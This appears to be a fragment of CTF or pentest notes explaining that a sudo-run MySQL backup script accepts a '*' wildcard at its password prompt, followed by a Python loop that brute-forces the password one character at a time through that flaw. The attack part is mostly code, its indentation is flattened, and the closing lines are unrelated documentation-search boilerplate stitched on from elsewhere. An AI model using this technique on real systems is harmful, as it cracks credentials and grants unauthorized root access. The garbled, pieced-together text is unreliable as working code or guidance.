Allows you to use \* when asked for password because of this insecure operator
```
import string
import subprocess
all = list(string.ascii_letters + string.digits)
password = ""
found = False
while not found:
for character in all:
command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
if "Password confirmed!" in output:
password += character
print(password)
break
else:
found = True

```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
